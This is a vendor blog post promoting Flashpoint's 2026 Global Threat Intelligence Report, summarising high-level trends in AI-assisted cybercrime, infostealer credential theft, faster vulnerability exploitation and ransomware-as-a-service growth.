    Leverage the latest trends, in-depth analysis, and data-driven insights driven by Primary Source Collection to bolster your security posture by identifying and proactively defending against rising attack vectors.

“As attackers automate exploitation of identity, vulnerabilities, and ransomware, defenders who rely on fragmented visibility will fall behind. To keep pace, organizations must ground their decisions in primary-source intelligence that is drawn from adversarial environments, so that decision-makers can get ahead of this accelerating threat cycle.”

Josh Lefkowitz, CEO & Co-Founder at Flashpoint

The Top Threats at a Glance

Our latest report identifies four driving themes shaping the 2026 threat landscape:

2026 Is the Era of Agentic-Based Cyberattacks

Flashpoint identified a 1,500% rise in AI-related illicit discussions between November and December 2025, signaling a rapid transition from criminal curiosity to the active development of malicious frameworks. Built on data pulled from criminal environments and shaped by fraud use cases, these systems scrape data, adjust messaging for specific targets, rotate infrastructure, and learn from failed attempts without the need for constant human involvement.

“2026 is the era of agentic-based cyberattacks. We’ve seen a 1,500% increase in AI-related illicit discussions in a single month, signaling increased interest in developing malicious frameworks. The discussions evolve into vibe-coded, AI-supported phishing lures, malware, and cybercrime venues. When iteration becomes cheap through automation, attackers can afford to fail repeatedly until they find a successful foothold.”

Ian Gray, Vice President of Cyber Threat Intelligence Operations at Flashpoint

Identity Is the New Exploit

Flashpoint observed over 11.1 million machines infected with infostealers in 2025, fueling a massive inventory of 3.3 billion stolen credentials and cloud tokens. The fundamental mechanics of cybercrime have shifted from breaking in to logging in, as attackers leverage stolen session cookies to behave like legitimate users.

The Patching Window Is Rapidly Closing

Vulnerability disclosures surged by 12% in 2025, with 1 in 3 (33%) vulnerabilities having publicly available exploit code. The strategic gap between discovery and weaponization is increasingly vanishing, as evidenced by mass exploitation of zero-day vulnerabilities in as little as 24 hours after discovery.

Ransomware Is Hacking the Person, Not the Code

As technical defenses against encryption harden, ransomware groups are pivoting to the path of least resistance: human trust. This approach has led to a 53% increase in ransomware, with RaaS groups being responsible for over 87% of all ransomware attacks.

Build Resilience in a Converged Landscape

The findings in the 2026 Global Threat Intelligence Report make one thing clear: incremental improvements to legacy security models are no longer sufficient. As adversaries transition to machine-speed operations, the strategic advantage shifts to organizations that can maintain visibility into the adversarial environments where these attacks are born.

Protecting organizations and communities requires an intelligence-first approach. Download Flashpoint’s 2026 Global Threat Intelligence Report to gain clarity and the data-driven insights needed to safeguard critical assets.

Get Your Copy

The post Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report appeared first on Flashpoint.

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